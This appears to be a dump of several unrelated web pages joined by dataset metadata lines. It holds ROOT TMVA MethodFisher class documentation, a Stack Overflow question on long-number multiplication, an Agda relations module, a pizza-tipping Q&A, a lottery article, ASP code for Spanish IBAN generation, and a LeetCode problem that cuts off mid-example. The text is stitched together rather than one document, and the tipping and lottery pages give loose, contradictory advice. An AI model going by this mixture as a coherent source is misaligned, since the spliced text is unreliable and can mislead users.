Protected Member Functions inherited from TMVA::MethodBase
virtual void AddWeightsXMLTo (void *parent) const =0
virtual std::vector< Double_tGetDataMvaValues (DataSet *data=nullptr, Long64_t firstEvt=0, Long64_t lastEvt=-1, Bool_t logProgress=false)
get all the MVA values for the events of the given Data type More...
const TStringGetInternalVarName (Int_t ivar) const
virtual std::vector< Double_tGetMvaValues (Long64_t firstEvt=0, Long64_t lastEvt=-1, Bool_t logProgress=false)
get all the MVA values for the events of the current Data type More...
const TStringGetOriginalVarName (Int_t ivar) const
const TStringGetWeightFileDir () const
Bool_t HasTrainingTree () const
Bool_t Help () const
Bool_t IgnoreEventsWithNegWeightsInTraining () const
Bool_t IsConstructedFromWeightFile () const
Bool_t IsNormalised () const
virtual void MakeClassSpecific (std::ostream &, const TString &="") const
virtual void MakeClassSpecificHeader (std::ostream &, const TString &="") const
void NoErrorCalc (Double_t *const err, Double_t *const errUpper)
virtual void ReadWeightsFromStream (std::istream &)=0
virtual void ReadWeightsFromStream (TFile &)
virtual void ReadWeightsFromXML (void *wghtnode)=0
void SetNormalised (Bool_t norm)
void SetWeightFileDir (TString fileDir)
set directory of weight file More...
void SetWeightFileName (TString)
set the weight file name (depreciated) More...
void Statistics (Types::ETreeType treeType, const TString &theVarName, Double_t &, Double_t &, Double_t &, Double_t &, Double_t &, Double_t &)
calculates rms,mean, xmin, xmax of the event variable this can be either done for the variables as they are or for normalised variables (in the range of 0-1) if "norm" is set to kTRUE More...
Bool_t TxtWeightsOnly () const
Bool_t Verbose () const
virtual void GetHelpMessage () const =0
virtual void MakeClassSpecific (std::ostream &, const TString &) const =0
Protected Member Functions inherited from TMVA::Configurable
void EnableLooseOptions (Bool_t b=kTRUE)
const TStringGetReferenceFile () const
Bool_t LooseOptionCheckingEnabled () const
void ResetSetFlag ()
resets the IsSet flag for all declare options to be called before options are read from stream More...
void WriteOptionsReferenceToFile ()
write complete options to output stream More...
Protected Member Functions inherited from TObject
virtual void DoError (int level, const char *location, const char *fmt, va_list va) const
Interface to ErrorHandler (protected). More...
void MakeZombie ()
## Private Member Functions
void DeclareOptions ()
MethodFisher options: format and syntax of option string: "type" where type is "Fisher" or "Mahalanobis". More...
void GetCov_BetweenClass (void)
the matrix of covariance 'between class' reflects the dispersion of the events of a class relative to the global center of gravity of all the class hence the separation between classes More...
void GetCov_Full (void)
compute full covariance matrix from sum of within and between matrices More...
void GetCov_WithinClass (void)
the matrix of covariance 'within class' reflects the dispersion of the events relative to the center of gravity of their own class More...
void GetDiscrimPower (void)
computation of discrimination power indicator for each variable small values of "fWith" indicates little compactness of sig & of backgd big values of "fBetw" indicates large separation between sig & backgd More...
void GetFisherCoeff (void)
Fisher = Sum { [coeff]*[variables] }. More...
void GetMean (void)
compute mean values of variables in each sample, and the overall means More...
void Init (void)
default initialization called by all constructors More...
void InitMatrices (void)
initialization method; creates global matrices and vectors More...
void ProcessOptions ()
process user options More...
## Private Attributes
TMatrixDfBetw
between-class matrix More...
TMatrixDfCov
full covariance matrix More...
std::vector< Double_t > * fDiscrimPow
discriminating power More...
Double_t fF0
offset More...
std::vector< Double_t > * fFisherCoeff
Fisher coefficients. More...
EFisherMethod fFisherMethod
Fisher or Mahalanobis. More...
TMatrixDfMeanMatx
Double_t fSumOfWeightsB
sum-of-weights for background training events More...
Double_t fSumOfWeightsS
sum-of-weights for signal training events More...
TString fTheMethod
Fisher or Mahalanobis. More...
TMatrixDfWith
within-class matrix More...
## Additional Inherited Members
Public Attributes inherited from TMVA::MethodBase
Bool_t fSetupCompleted
TrainingHistory fTrainHistory
Protected Types inherited from TObject
enum { kOnlyPrepStep = (1ULL << ( 3 )) }
Protected Attributes inherited from TMVA::MethodBase
Types::EAnalysisType fAnalysisType
UInt_t fBackgroundClass
bool fExitFromTraining = false
std::vector< TString > * fInputVars
IPythonInteractivefInteractive = nullptr
temporary dataset used when evaluating on a different data (used by MethodCategory::GetMvaValues) More...
UInt_t fIPyCurrentIter = 0
UInt_t fIPyMaxIter = 0
std::vector< Float_t > * fMulticlassReturnVal
Int_t fNbins
Int_t fNbinsH
Int_t fNbinsMVAoutput
RankingfRanking
std::vector< Float_t > * fRegressionReturnVal
ResultsfResults
UInt_t fSignalClass
DataSetfTmpData = nullptr
temporary event when testing on a different DataSet than the own one More...
const EventfTmpEvent
Protected Attributes inherited from TMVA::Configurable
MsgLoggerfLogger
! message logger More...
Protected Attributes inherited from TNamed
TString fName
TString fTitle
#include <TMVA/MethodFisher.h>
Inheritance diagram for TMVA::MethodFisher:
[legend]
## ◆ EFisherMethod
Enumerator
kFisher
kMahalanobis
Definition at line 86 of file MethodFisher.h.
## ◆ MethodFisher() [1/2]
TMVA::MethodFisher::MethodFisher ( const TString & jobName, const TString & methodTitle, DataSetInfo & dsi, const TString & theOption = "Fisher" )
standard constructor for the "Fisher"
Definition at line 135 of file MethodFisher.cxx.
## ◆ MethodFisher() [2/2]
TMVA::MethodFisher::MethodFisher ( DataSetInfo & dsi, const TString & theWeightFile )
constructor from weight file
Definition at line 157 of file MethodFisher.cxx.
## ◆ ~MethodFisher()
TMVA::MethodFisher::~MethodFisher ( void )
virtual
destructor
Definition at line 216 of file MethodFisher.cxx.
## Member Function Documentation
void TMVA::MethodFisher::AddWeightsXMLTo ( void * parent ) const
virtual
create XML description of Fisher classifier
Implements TMVA::MethodBase.
Definition at line 618 of file MethodFisher.cxx.
## ◆ Class()
static TClass * TMVA::MethodFisher::Class ( )
static
Returns
TClass describing this class
## ◆ Class_Name()
static const char * TMVA::MethodFisher::Class_Name ( )
static
Returns
Name of this class
## ◆ Class_Version()
static constexpr Version_t TMVA::MethodFisher::Class_Version ( )
inlinestaticconstexpr
Returns
Version of this class
Definition at line 154 of file MethodFisher.h.
## ◆ CreateRanking()
const TMVA::Ranking * TMVA::MethodFisher::CreateRanking ( )
virtual
computes ranking of input variables
Implements TMVA::MethodBase.
Definition at line 541 of file MethodFisher.cxx.
## ◆ DeclareOptions()
void TMVA::MethodFisher::DeclareOptions ( )
privatevirtual
MethodFisher options: format and syntax of option string: "type" where type is "Fisher" or "Mahalanobis".
Implements TMVA::MethodBase.
Definition at line 194 of file MethodFisher.cxx.
## ◆ DeclFileName()
static const char * TMVA::MethodFisher::DeclFileName ( )
inlinestatic
Returns
Name of the file containing the class declaration
Definition at line 154 of file MethodFisher.h.
## ◆ GetCov_BetweenClass()
void TMVA::MethodFisher::GetCov_BetweenClass ( void )
private
the matrix of covariance 'between class' reflects the dispersion of the events of a class relative to the global center of gravity of all the class hence the separation between classes
Definition at line 417 of file MethodFisher.cxx.
## ◆ GetCov_Full()
void TMVA::MethodFisher::GetCov_Full ( void )
private
compute full covariance matrix from sum of within and between matrices
Definition at line 440 of file MethodFisher.cxx.
## ◆ GetCov_WithinClass()
void TMVA::MethodFisher::GetCov_WithinClass ( void )
private
the matrix of covariance 'within class' reflects the dispersion of the events relative to the center of gravity of their own class
Definition at line 351 of file MethodFisher.cxx.
## ◆ GetDiscrimPower()
void TMVA::MethodFisher::GetDiscrimPower ( void )
private
computation of discrimination power indicator for each variable small values of "fWith" indicates little compactness of sig & of backgd big values of "fBetw" indicates large separation between sig & backgd
we want signal & backgd classes as compact and separated as possible the discriminating power is then defined as the ration "fBetw/fWith"
Definition at line 528 of file MethodFisher.cxx.
## ◆ GetFisherCoeff()
void TMVA::MethodFisher::GetFisherCoeff ( void )
private
Fisher = Sum { [coeff]*[variables] }.
let Xs be the array of the mean values of variables for signal evts let Xb be the array of the mean values of variables for backgd evts let InvWith be the inverse matrix of the 'within class' correlation matrix
then the array of Fisher coefficients is [coeff] =sqrt(fNsig*fNbgd)/fNevt*transpose{Xs-Xb}*InvWith
Definition at line 457 of file MethodFisher.cxx.
## ◆ GetFisherMethod()
EFisherMethod TMVA::MethodFisher::GetFisherMethod ( void )
inline
Definition at line 87 of file MethodFisher.h.
## ◆ GetHelpMessage()
void TMVA::MethodFisher::GetHelpMessage ( ) const
protectedvirtual
get help message text
typical length of text line: "|--------------------------------------------------------------|"
Implements TMVA::IMethod.
Definition at line 702 of file MethodFisher.cxx.
## ◆ GetMean()
void TMVA::MethodFisher::GetMean ( void )
private
compute mean values of variables in each sample, and the overall means
Definition at line 302 of file MethodFisher.cxx.
## ◆ GetMvaValue()
Double_t TMVA::MethodFisher::GetMvaValue ( Double_t * err = nullptr, Double_t * errUpper = nullptr )
virtual
returns the Fisher value (no fixed range)
Implements TMVA::MethodBase.
Definition at line 268 of file MethodFisher.cxx.
## ◆ HasAnalysisType()
Bool_t TMVA::MethodFisher::HasAnalysisType ( Types::EAnalysisType type, UInt_t numberClasses, UInt_t numberTargets )
virtual
Fisher can only handle classification with 2 classes.
Implements TMVA::IMethod.
Definition at line 228 of file MethodFisher.cxx.
## ◆ Init()
void TMVA::MethodFisher::Init ( void )
privatevirtual
default initialization called by all constructors
Implements TMVA::MethodBase.
Definition at line 177 of file MethodFisher.cxx.
## ◆ InitMatrices()
void TMVA::MethodFisher::InitMatrices ( void )
private
initialization method; creates global matrices and vectors
Definition at line 285 of file MethodFisher.cxx.
## ◆ IsA()
virtual TClass * TMVA::MethodFisher::IsA ( ) const
inlinevirtual
Returns
TClass describing current object
Reimplemented from TMVA::MethodBase.
Definition at line 154 of file MethodFisher.h.
## ◆ MakeClassSpecific()
void TMVA::MethodFisher::MakeClassSpecific ( std::ostream & fout, const TString & className ) const
protectedvirtual
write Fisher-specific classifier response
Reimplemented from TMVA::MethodBase.
Definition at line 655 of file MethodFisher.cxx.
## ◆ PrintCoefficients()
void TMVA::MethodFisher::PrintCoefficients ( void )
display Fisher coefficients and discriminating power for each variable check maximum length of variable name
Definition at line 557 of file MethodFisher.cxx.
## ◆ ProcessOptions()
void TMVA::MethodFisher::ProcessOptions ( )
privatevirtual
process user options
Implements TMVA::MethodBase.
Definition at line 204 of file MethodFisher.cxx.
## ◆ ReadWeightsFromStream() [1/3]
virtual void TMVA::MethodBase::ReadWeightsFromStream ( std::istream & )
virtual
Implements TMVA::MethodBase.
## ◆ ReadWeightsFromStream() [2/3]
void TMVA::MethodFisher::ReadWeightsFromStream ( std::istream & i )
virtual
read Fisher coefficients from weight file
Implements TMVA::MethodBase.
Definition at line 609 of file MethodFisher.cxx.
## ◆ ReadWeightsFromStream() [3/3]
virtual void TMVA::MethodBase::ReadWeightsFromStream ( TFile & )
inlinevirtual
Reimplemented from TMVA::MethodBase.
Definition at line 266 of file MethodBase.h.
void TMVA::MethodFisher::ReadWeightsFromXML ( void * wghtnode )
virtual
read Fisher coefficients from xml weight file
Implements TMVA::MethodBase.
Definition at line 635 of file MethodFisher.cxx.
## ◆ Streamer()
virtual void TMVA::MethodFisher::Streamer ( TBuffer & R__b )
virtual
Stream an object of class TObject.
Reimplemented from TMVA::MethodBase.
## ◆ StreamerNVirtual()
void TMVA::MethodFisher::StreamerNVirtual ( TBuffer & ClassDef_StreamerNVirtual_b )
inline
Definition at line 154 of file MethodFisher.h.
## ◆ Train()
void TMVA::MethodFisher::Train ( void )
virtual
computation of Fisher coefficients by series of matrix operations
Implements TMVA::MethodBase.
Definition at line 237 of file MethodFisher.cxx.
## ◆ fBetw
TMatrixD* TMVA::MethodFisher::fBetw
private
between-class matrix
Definition at line 139 of file MethodFisher.h.
## ◆ fCov
TMatrixD* TMVA::MethodFisher::fCov
private
full covariance matrix
Definition at line 141 of file MethodFisher.h.
## ◆ fDiscrimPow
std::vector* TMVA::MethodFisher::fDiscrimPow
private
discriminating power
Definition at line 147 of file MethodFisher.h.
## ◆ fF0
Double_t TMVA::MethodFisher::fF0
private
offset
Definition at line 149 of file MethodFisher.h.
## ◆ fFisherCoeff
std::vector* TMVA::MethodFisher::fFisherCoeff
private
Fisher coefficients.
Definition at line 148 of file MethodFisher.h.
## ◆ fFisherMethod
EFisherMethod TMVA::MethodFisher::fFisherMethod
private
Fisher or Mahalanobis.
Definition at line 136 of file MethodFisher.h.
## ◆ fMeanMatx
TMatrixD* TMVA::MethodFisher::fMeanMatx
private
Definition at line 132 of file MethodFisher.h.
## ◆ fSumOfWeightsB
Double_t TMVA::MethodFisher::fSumOfWeightsB
private
sum-of-weights for background training events
Definition at line 145 of file MethodFisher.h.
## ◆ fSumOfWeightsS
Double_t TMVA::MethodFisher::fSumOfWeightsS
private
sum-of-weights for signal training events
Definition at line 144 of file MethodFisher.h.
## ◆ fTheMethod
TString TMVA::MethodFisher::fTheMethod
private
Fisher or Mahalanobis.
Definition at line 135 of file MethodFisher.h.
## ◆ fWith
TMatrixD* TMVA::MethodFisher::fWith
private
within-class matrix
Definition at line 140 of file MethodFisher.h.
Libraries for TMVA::MethodFisher:
[legend]
The documentation for this class was generated from the following files: | 10,723 | 43,069 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.03125 | 3 | CC-MAIN-2023-14 | longest | en | 0.837801 |
http://stackoverflow.com/questions/9856534/efficient-multiplication-of-varying-length-s-conceptual?answertab=oldest | 1,397,827,970,000,000,000 | text/html | crawl-data/CC-MAIN-2014-15/segments/1397609533689.29/warc/CC-MAIN-20140416005213-00209-ip-10-147-4-33.ec2.internal.warc.gz | 214,954,632 | 17,353 | # Efficient Multiplication of Varying-Length #s [Conceptual]
EDIT
So it seems I "underestimated" what varying length numbers meant. I didn't even think about situations where the operands are 100 digits long. In that case, my proposed algorithm is definitely not efficient. I'd probably need an implementation who's complexity depends on the # of digits in each operands as opposed to its numerical value, right?
As suggested below, I will look into the Karatsuba algorithm...
Write the pseudocode of an algorithm that takes in two arbitrary length numbers (provided as strings), and computes the product of these numbers. Use an efficient procedure for multiplication of large numbers of arbitrary length. Analyze the efficiency of your algorithm.
I decided to take the (semi) easy way out and use the Russian Peasant Algorithm. It works like this:
``````a * b = a/2 * 2b if a is even
a * b = (a-1)/2 * 2b + a if a is odd
``````
My pseudocode is:
``````rpa(x, y){
if x is 1
return y
if x is even
return rpa(x/2, 2y)
if x is odd
return rpa((x-1)/2, 2y) + y
}
``````
I have 3 questions:
1. Is this efficient for arbitrary length numbers? I implemented it in C and tried varying length numbers. The run-time in was near-instant in all cases so it's hard to tell empirically...
2. Can I apply the Master's Theorem to understand the complexity...?
• a = # subproblems in recursion = 1 (max 1 recursive call across all states)
• n / b = size of each subproblem = n / 1 -> b = 1 (problem doesn't change size...?)
• f(n^d) = work done outside recursive calls = 1 -> d = 0 (the addition when a is odd)
• a = 1, b^d = 1, a = b^d -> complexity is in n^d*log(n) = log(n)
• this makes sense logically since we are halving the problem at each step, right?
3. What might my professor mean by providing arbitrary length numbers "as strings". Why do that?
-
He wants to give you numbers as strings because the built-in data types of whatever language you're using are limited to some maximum size. If he wants you to multiply 198347523458623586235875932485 by 23459876235987623598723645982346598234659823465982346529834, strings are as good a way to represent those numbers as any. I'm guessing your current algorithm can't handle those inputs... – Carl Norum Mar 24 '12 at 23:21
Your professor means that the numbers may be too large to fit into a machine word, so they have to be provided as arbitrary-length ASCII strings in (presumably) base 10. For example, "123456789876543211112222333344445". So your algorithm as it stands is woefully incomplete, I'm afraid. But you can use the Russian Peasant Algorithm on strings, too -- you just have to do more work :-/ – TonyK Mar 24 '12 at 23:22
Oh, I see. Makes sense -- thanks for clearing that up. – Milan Patel Mar 24 '12 at 23:23
Definitely going to have to rethink this one... – Milan Patel Mar 24 '12 at 23:26
Add 3): Native integers are limited in how large (or small) numbers they can represent (32- or 64-bit integers for example). To represent arbitrary length numbers you can choose strings, because then you are not really limited by this. The problem is then, of course, that your arithmetic units are not really made to add strings ;-)
- | 834 | 3,201 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.734375 | 4 | CC-MAIN-2014-15 | latest | en | 0.936567 |
https://people.inf.elte.hu/pgj/agda/tutorial/Relation.Binary.Indexed.Core.html | 1,695,853,654,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233510326.82/warc/CC-MAIN-20230927203115-20230927233115-00897.warc.gz | 499,040,745 | 5,119 | ```------------------------------------------------------------------------
-- The Agda standard library
--
-- Indexed binary relations
------------------------------------------------------------------------
-- This file contains some core definitions which are reexported by
-- Relation.Binary.Indexed.
module Relation.Binary.Indexed.Core where
open import Function
open import Level
import Relation.Binary.Core as B
import Relation.Binary.Core as P
------------------------------------------------------------------------
-- Indexed binary relations
-- Heterogeneous.
REL : ∀ {i₁ i₂ a₁ a₂} {I₁ : Set i₁} {I₂ : Set i₂} →
(I₁ → Set a₁) → (I₂ → Set a₂) → (ℓ : Level) → Set _
REL A₁ A₂ ℓ = ∀ {i₁ i₂} → A₁ i₁ → A₂ i₂ → Set ℓ
-- Homogeneous.
Rel : ∀ {i a} {I : Set i} → (I → Set a) → (ℓ : Level) → Set _
Rel A ℓ = REL A A ℓ
------------------------------------------------------------------------
-- Simple properties of indexed binary relations
-- Reflexivity.
Reflexive : ∀ {i a ℓ} {I : Set i} (A : I → Set a) → Rel A ℓ → Set _
Reflexive _ _∼_ = ∀ {i} → B.Reflexive (_∼_ {i})
-- Symmetry.
Symmetric : ∀ {i a ℓ} {I : Set i} (A : I → Set a) → Rel A ℓ → Set _
Symmetric _ _∼_ = ∀ {i j} → B.Sym (_∼_ {i} {j}) _∼_
-- Transitivity.
Transitive : ∀ {i a ℓ} {I : Set i} (A : I → Set a) → Rel A ℓ → Set _
Transitive _ _∼_ = ∀ {i j k} → B.Trans _∼_ (_∼_ {j}) (_∼_ {i} {k})
------------------------------------------------------------------------
-- Setoids
record IsEquivalence {i a ℓ} {I : Set i} (A : I → Set a)
(_≈_ : Rel A ℓ) : Set (i ⊔ a ⊔ ℓ) where
field
refl : Reflexive A _≈_
sym : Symmetric A _≈_
trans : Transitive A _≈_
reflexive : ∀ {i} → P._≡_ ⟨ B._⇒_ ⟩ _≈_ {i}
reflexive P.refl = refl
record Setoid {i} (I : Set i) c ℓ : Set (suc (i ⊔ c ⊔ ℓ)) where
infix 4 _≈_
field
Carrier : I → Set c
_≈_ : Rel Carrier ℓ
isEquivalence : IsEquivalence Carrier _≈_
open IsEquivalence isEquivalence public
``` | 632 | 1,932 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.796875 | 3 | CC-MAIN-2023-40 | latest | en | 0.390623 |
https://ragazzi-pizza.com/tips-for-making-pizza/quick-answer-how-much-to-tip-a-pizza-delivery.html | 1,675,188,134,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764499888.62/warc/CC-MAIN-20230131154832-20230131184832-00853.warc.gz | 484,746,373 | 20,772 | # Quick Answer: How Much To Tip A Pizza Delivery?
## How much do you tip for a \$20 pizza delivery?
How much to tip the pizza delivery driver. Generally speaking, delivery orders that are less than \$20 are given a minimum tip of \$3. If the order is over \$20, then it’s customary to calculate a tip that is 10%-15% of the order (but never less than \$5).
## Is \$5 a good pizza tip?
How Much to Tip Pizza And Other Food Delivery Drivers. For delivery orders of \$20 or less, it is customary to offer a minimum tip of \$3. For any amount over \$20, tip 10 to 15% but never less than \$5.
## How much are you supposed to tip the pizza delivery guy?
The Web site www.tipthepizzaguy.com suggests the following: 15% for normal service, with a \$2 minimum; 20% for excellent service; 10% or less for poor service; at least 10% for orders of \$50 or more. Don’t assume a delivery charge, if there is one, goes to the pizza deliverer. Ask the person who takes your order.
You might be interested: Where Can I Buy A Pizza Stone?
## How much should I tip for \$100 pizza delivery?
Pizza Delivery Tip Guide for 2019 10% or below for mediocre service. 20%+ for amazing service. \$100 + orders: at least 10%. Under \$20 small orders: \$3 minimum.
## What happens if you don’t tip the pizza guy?
Generally nothing. As a delivery driver some of the ideas people presented are illegal. As for slower service, most pizza places prize speed so they may not like to deliver to you fast but they face a butt chewing. If you didn’t tip me all I would do is thank you for your business and hope the next customer tips.
## Is 2 dollar tip good for delivery?
As a delivery driver with a 5-mile radius, \$2 -\$3 is pretty good tip. You do not wait on the customer. You do not bring them drinks and ask them how their meal is every so often. You deliver the food and you leave.
## How much should I tip on a \$30 pizza delivery?
Lifestyle and etiquette expert Elaine Swann suggests paying a \$3 to \$5 tip when the delivery driver arrives. “Three to five dollars is a sufficient tip,” Swann says.
## Do you tip for carryout pizza?
Nope. Don’t tip for pizzas whether you are dining in, having takeout or getting it delivered.
## Is a \$3 dollar tip good for pizza?
I usually consider \$3 and up good. You’re not a bad tipper, quite the opposite. Most people don’t even tip that. 10% excluding taxes is standard for delivery.
## Is \$5 a good tip for delivery?
Other sources support that conclusion: Consumer Reports notes that \$3 to \$5 is standard, or around 20% of the total bill, whichever is higher. On average, customers were willing to pay a maximum of \$8.50 for the tip, delivery fee and service fee combined, according to U.S. Foods’ report.
You might be interested: Why Did Cici's Pizza Close?
## Is 3 dollars a good tip Doordash?
Just remember that out of the “delivery fees”, doordash pays us (the driver) \$2- 3. Like others said, we don’t care what the cost of the order or the the tip percentage is. I typically suggest \$5 minimum. But if it’s a close/easy order to deliver, hit the driver with at least \$3.
## How much should I tip for Walmart delivery?
To tip appropriately, consider the distance from Walmart to your home, how large your order is, and how heavy the items are. The general recommendation for a grocery delivery tip is at least 10%. But if your budget allows, consider increasing your tip to the 15–20% range, especially during the pandemic.
## Is \$10 a good tip for delivery?
According to Jorie Scholnik, an etiquette expert, that calls for a tip. “ Tipping 10%-15% is a good start,” she says. “I usually give the delivery person 15% if a delivery charge is not included.” If the weather is bad, The Emily Post Institute recommends tipping a driver 15%-20%.
## Is 10 a good tip for pizza delivery?
At the minimum, you should tip 10 percent of the total bill. A tip of 16 percent of the bill is for normal service and 20 percent is for exceptional service. The farther your home is from the pizzeria, the higher the tip. Pizza delivery drivers are your vehicles to a warm and cheesy meal.
## What is a good tip for 10\$?
The generally agreed upon minimum tip for satisfactory service in the foodservice industry is 15% (in most places you can just double the amount of the tax to figure out how much that is). Really good service sould get a 20% tip. And truly excellent service sould be tipped at 25%. | 1,075 | 4,448 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.765625 | 3 | CC-MAIN-2023-06 | latest | en | 0.918869 |
http://girlswithbrownhaircomedy.com/tax-implications-of-winning-a-lottery/ | 1,675,126,392,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764499831.97/warc/CC-MAIN-20230130232547-20230131022547-00649.warc.gz | 19,982,028 | 11,551 | # Tax Implications of Winning a Lottery
Sep 12, 2022 Gambling
Lottery is a form of gambling that involves the drawing of numbers for a prize. Some governments endorse lotteries, while others outlaw them. There are tax implications when you win a lottery. Let’s take a look at some of these factors. Also, learn about how lotteries came about and what you can do to increase your chances of winning.
## Probability distributions
Probability distributions of lottery numbers are the key to understanding the odds of winning a lottery game. They show how often a person will win based on the number of tickets they purchased. These probability distributions also show the average amount of money won by a specific user. The higher the weight of a user, the higher the average amount of money that person will win. Different methods are used to determine these probabilities.
The prize structure of a lottery is a complex and important issue in lottery design. The problem is further complicated by the fact that lottery players do not choose their numbers randomly. In addition, this conscious selection of lottery tickets exacerbates the multivariate distribution of prize winners by introducing large correlations between different types of prize winners.
## Strategies to increase your odds of winning
If you are thinking about entering the lottery, there are many strategies to increase your chances of winning. These strategies include joining syndicates and buying more tickets than you would normally buy on your own. These groups are made up of friends and co-workers who chip in small amounts to purchase more tickets. However, you should be aware that you need to have a written contract with them, which clearly states that everyone in the group must share in the jackpot if you win.
Buying more tickets will increase your chances of winning, but it can also be a complete waste of money. One study in Australia found that the number of tickets purchased did not influence the winner’s prize. It is not a foolproof strategy, so it is recommended to combine it with other proven strategies to increase your chances of winning the lottery.
## Tax implications of winning the lottery
Although winning the lottery is a wonderful experience, it can also have tax implications. Your winnings may reduce your eligibility for some tax credits and deductions, including the Earned Income Tax Credit and federal tax credits. It may also lower your state and local tax credits. As a result, knowing the tax implications of winning the lottery is important.
One way to minimize the tax burden is to choose a lump-sum payment. This way, you will only have to pay taxes once, in the year of payment. While this means paying a large amount of tax now, it provides certainty that the money will be taxed at a lower rate down the road.
## Origin of lotteries
Lotteries are a popular way to raise money for a variety of purposes and are a longstanding tradition. In most countries, the first lottery dates back to the 16th century. It was initially used to collect money for the poor and to fund government projects. Over time, lottery games became more popular and became an effective form of taxation. In fact, the Netherlands is home to the oldest continuous lottery in the world. The term “lottery” originates from the Dutch word “loterij,” which means “fate.”
There was a time when lotteries were popular throughout India, but the practice has been criticized as being harmful to society. In 1983, lotteries were introduced in Arunachal Pradesh and were conducted by charitable organizations with the approval of the State Government. At the time, the State Government was receiving 51 percent of the net proceeds. But in 1994, the Supreme Court ruled that the lottery be brought under the total control of the Government of Arunachal Pradesh. As a result, a department was created to organise and conduct lotteries in the state.
## Impact of multi-state lotteries
In recent years, states have sought to increase lottery awareness and increase opportunities for players. Many have increased advertising budgets and expanded retail locations to boost sales. Recently, the Colorado lottery, Maryland lottery, and Ohio lottery all requested additional funds for advertising. However, the effectiveness of these measures is still up for debate. The key is to develop a solid marketing strategy.
State lotteries are often run as businesses, focusing on maximizing revenue. Much of their advertising focuses on persuading target groups to spend their money on the lottery. However, there are unintended consequences of this policy, including a negative impact on problem gamblers and the poor. While promotion of gambling is an appropriate function for a state, the operation of a lottery may conflict with broader public interests. | 938 | 4,838 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.953125 | 3 | CC-MAIN-2023-06 | longest | en | 0.970399 |
https://snipplr.com/view/73466/calculate-iban-for-spain-from-ccc-calcular-iban-para-espaa-desde-el-ccc | 1,696,416,936,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233511364.23/warc/CC-MAIN-20231004084230-20231004114230-00166.warc.gz | 568,645,838 | 7,696 | # Posted By
xhiena on 01/20/14
# Statistics
Viewed 785 times
Favorited by 0 user(s)
# Calculate IBAN for Spain from ccc. Calcular IBAN para España desde el ccc.
/ Published in: ASP
This algorithm calculates an IBAN from a banc account in Spain.
Este algoritmo calcula el IBAN de una cuenta bancaria española
Copy this code and paste it in your HTML
`'rellena con 0 delantefunction fill0(s,l) cad=s while (len(cad)<l) cad="0"&cad wend fill0=cadend function 'calcula el modulo 97 para números grandesfunction modulo97(number) tmp = "" for i = 1 to len(number) tmp = tmp & mid(cStr(number), i, 1) r = cInt(tmp) mod 97 tmp = cStr(r) next modulo97=tmpend function function generaibanES(ccc) iban_mi=ccc&"142800" '1428 = "ES" codificado dciban=modulo97(iban_mi) dciban=98-dciban iban="ES"&fill0(dciban,2)&ccc generaibanES=ibanend function` | 290 | 852 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.765625 | 3 | CC-MAIN-2023-40 | latest | en | 0.347673 |
https://rustgym.com/leetcode/857 | 1,669,577,417,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710417.25/warc/CC-MAIN-20221127173917-20221127203917-00837.warc.gz | 542,507,524 | 3,651 | 857. Minimum Cost to Hire K Workers
There are `N` workers. The `i`-th worker has a `quality[i]` and a minimum wage expectation `wage[i]`.
Now we want to hire exactly `K` workers to form a paid group. When hiring a group of K workers, we must pay them according to the following rules:
1. Every worker in the paid group should be paid in the ratio of their quality compared to other workers in the paid group.
2. Every worker in the paid group must be paid at least their minimum wage expectation.
Return the least amount of money needed to form a paid group satisfying the above conditions.
Example 1:
```Input: quality = [10,20,5], wage = [70,50,30], K = 2
Output: 105.00000
